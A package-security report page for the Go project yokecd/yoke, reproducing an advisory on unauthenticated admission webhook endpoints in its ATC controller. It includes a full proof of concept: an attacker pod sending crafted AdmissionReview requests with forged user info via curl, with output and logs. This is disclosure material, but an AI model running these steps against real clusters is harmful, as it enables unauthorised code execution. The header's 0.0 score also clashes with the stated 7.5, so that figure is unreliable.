go package report

Is github.com/yokecd/yoke safe?

2 known vulnerabilities, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so go packages are not covered.


      cvss
      0.0
      high

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 47th percentile of all CVEs

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-965m-v4cc-6334, the advisory selected below

      // 2 advisories

      GHSA-965m-v4cc-6334

      HIGHCVE-2026-26055
      // unauthenticated admission webhook endpoints in yoke atc

      This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. The ATC webhook endpoints lack proper authentication mechanisms, allowing any pod within the cluster network to directly send AdmissionReview requests to the webhook, bypassing Kubernetes API Server authentication. This enables attackers to trigger WASM module execution in the ATC controller context without proper authorization.

      Recommended CWE: CWE-306 (Missing Authentication for Critical Function)

      // summary

      Yoke ATC implements multiple Admission Webhook endpoints (/validations/{airway}, /validations/resources, /validations/flights.yoke.cd, /validations/airways.yoke.cd, etc.) that process AdmissionReview requests. These endpoints do not implement TLS client certificate authentication or request source validation. Any client that can reach the ATC service within the cluster can send requests directly to these endpoints, bypassing the Kubernetes API Server's authentication and authorization mechanisms.

      // details

      The vulnerability exists in the HTTP handler implementation where webhook endpoints accept and process requests without verifying the client identity.

      Vulnerable Endpoint Handlers (cmd/atc/handler.go:147-335):

      mux.HandleFunc("POST /validations/{airway}", func(w http.ResponseWriter, r *http.Request) {
          var review admissionv1.AdmissionReview
          if err := json.NewDecoder(r.Body).Decode(&review); err != nil {
              http.Error(w, fmt.Sprintf("failed to decode review: %v", err), http.StatusBadRequest)
              return
          }
          // No authentication check - request is processed directly
          // ...
      })

      Additional Unauthenticated Endpoints:

      • /validations/resources (cmd/atc/handler.go:337-538)
      • /validations/external-resources (cmd/atc/handler.go:540-597)
      • /validations/airways.yoke.cd (cmd/atc/handler.go:599-636)
      • /validations/flights.yoke.cd (cmd/atc/handler.go:638-733)
      • /crdconvert/{airway} (cmd/atc/handler.go:61-145)

      The code lacks:

      • TLS client certificate verification
      • Request source validation (verifying requests come from kube-apiserver)
      • Any form of authentication middleware
      // environment setup

      Prerequisites:

      • Docker installed and running
      • kubectl installed
      • Go 1.21+ installed
      • kind installed

      Step 1: Create Kind cluster

      cat > /tmp/kind-config.yaml << 'EOF'
      kind: Cluster
      apiVersion: kind.x-k8s.io/v1alpha4
      name: yoke-vuln-test
      nodes:
      - role: control-plane
      EOF
      
      kind create cluster --config /tmp/kind-config.yaml

      Step 2: Build and install Yoke CLI

      git clone https://github.com/yokecd/yoke.git
      cd yoke
      GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke

      Step 3: Deploy ATC

      /tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest

      Step 4: Deploy Backend Airway example

      /tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz"
      // exploitation steps

      Step 1: Create attacker pod

      kubectl apply -f - <<EOF
      apiVersion: v1
      kind: Pod
      metadata:
        name: webhook-attacker
        namespace: default
      spec:
        containers:
        - name: attacker
          image: curlimages/curl:latest
          command: ["sleep", "infinity"]
      EOF
      
      kubectl wait --for=condition=Ready pod/webhook-attacker --timeout=60s

      Step 2: Probe webhook endpoints from attacker pod

      kubectl exec webhook-attacker -- curl -k -s -w "\nHTTP_CODE: %{http_code}" \
        -X POST https://atc-atc.atc.svc.cluster.local:80/validations/resources \
        -H "Content-Type: application/json" -d '{}'

      Actual output from verification:

      panic
      
      HTTP_CODE: 500

      The HTTP 500 response (not 401/403) indicates the endpoint is accessible without authentication. The error is due to invalid request body format, not authentication failure.

      Step 3: Send crafted AdmissionReview request

      Create malicious request file:

      cat > /tmp/malicious-review.json << 'EOF'
      {
        "apiVersion": "admission.k8s.io/v1",
        "kind": "AdmissionReview",
        "request": {
          "uid": "vul002-exploit-uid",
          "kind": {"group": "examples.com", "version": "v1", "kind": "Backend"},
          "resource": {"group": "examples.com", "version": "v1", "resource": "backends"},
          "name": "exploit-backend",
          "namespace": "default",
          "operation": "CREATE",
          "userInfo": {"username": "attacker-from-pod", "groups": ["system:unauthenticated"]},
          "object": {
            "apiVersion": "examples.com/v1",
            "kind": "Backend",
            "metadata": {"name": "exploit-backend", "namespace": "default"},
            "spec": {"image": "nginx:latest", "replicas": 1}
          }
        }
      }
      EOF
      
      kubectl cp /tmp/malicious-review.json webhook-attacker:/tmp/malicious-review.json

      Send the request:

      kubectl exec webhook-attacker -- curl -k -s -X POST \
        https://atc-atc.atc.svc.cluster.local:80/validations/backends.examples.com \
        -H "Content-Type: application/json" \
        -d @/tmp/malicious-review.json

      Actual output from verification:

      {"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"vul002-normal-test","kind":{"group":"examples.com","version":"v1","kind":"Backend"},"resource":{"group":"examples.com","version":"v1","resource":"backends"},"name":"vul002-normal-backend","namespace":"default","operation":"CREATE","userInfo":{"username":"attacker-from-pod","groups":["system:unauthenticated"]},"object":{"apiVersion":"examples.com/v1","kind":"Backend","metadata":{"name":"vul002-normal-backend","namespace":"default"},"spec":{"image":"nginx:latest","replicas":1}},"oldObject":null,"options":null},"response":{"uid":"vul002-normal-test","allowed":false,"status":{"metadata":{},"status":"Failure","message":"applying resource returned errors during dry-run..."}}}

      Step 4: Verify ATC logs

      kubectl logs -n atc deployment/atc-atc --tail=20 | grep backends.examples.com

      Actual log output:

      {"time":"2026-02-01T15:29:08.890991543Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"435ms","validation":{"allowed":false,"status":"Invalid"}}

      The elapsed: 435ms indicates WASM module execution occurred.

      // expected result

      The attacker pod successfully sends AdmissionReview requests directly to the ATC webhook endpoint without any authentication. The ATC controller processes the request and executes the WASM module, proving that:

      • No TLS client certificate is required
      • No request source validation occurs
      • The fake userInfo is accepted without verification
      • WASM modules are executed based on unauthenticated requests
      // impact

      Vulnerability Type: Missing Authentication / Authentication Bypass

      Attack Prerequisites:

      • Attacker has access to a pod within the cluster network
      • Network policies do not restrict access to the ATC service (common in default configurations)

      Impact Assessment:

      • Confidentiality: Medium - Attacker can trigger WASM execution which may access controller context data
      • Integrity: High - Combined with VUL-001, attacker can create arbitrary Kubernetes resources
      • Availability: Medium - Attacker can cause resource exhaustion through repeated requests

      Attack Scenario:

      • Attacker compromises a pod or gains access to the cluster network
      • Attacker sends crafted AdmissionReview requests directly to ATC webhook
      • ATC processes requests without verifying they came from the API Server
      • Combined with annotation injection (VUL-001), attacker can execute arbitrary WASM code
      • Malicious WASM can create resources or exfiltrate data using ATC's cluster-admin privileges
      // severity

      CVSS v3.1 Score: 7.5 (High)

      Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

      • Attack Vector (AV): Network - Accessible from cluster network
      • Attack Complexity (AC): Low - Simple HTTP request
      • Privileges Required (PR): None - No authentication required
      • User Interaction (UI): None - Automatic processing
      • Scope (S): Unchanged
      • Confidentiality (C): None - Direct impact limited
      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      None
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      None
      Integrity
      High
      Availability
      None

      Checked 2026-10-01 at 00:02 UTC. The most recent advisory here was published 2026-02-12. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.